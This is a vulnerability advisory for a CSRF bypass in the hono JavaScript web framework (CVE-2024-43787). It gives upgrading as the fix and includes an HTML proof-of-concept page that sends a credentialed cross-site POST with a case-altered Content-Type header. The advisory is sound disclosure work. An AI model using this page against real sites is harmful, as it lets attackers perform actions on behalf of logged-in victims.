Cross-Site Request Forgery (CSRF) Affecting hono package, versions <4.5.8
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (17th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-HONO-7814167
- published 23 Aug 2024
- disclosed 22 Aug 2024
- credit wataru-chocola
Introduced: 22 Aug 2024
CVE-2024-43787 Open this link in a new tabHow to fix?
Upgrade hono
to version 4.5.8 or higher.
Overview
hono is an Ultrafast web framework for the Edges
Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) via the isRequestedByFormElementRe
function. An attacker can bypass CSRF protection by using a crafted Content-Type header with case manipulation.
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>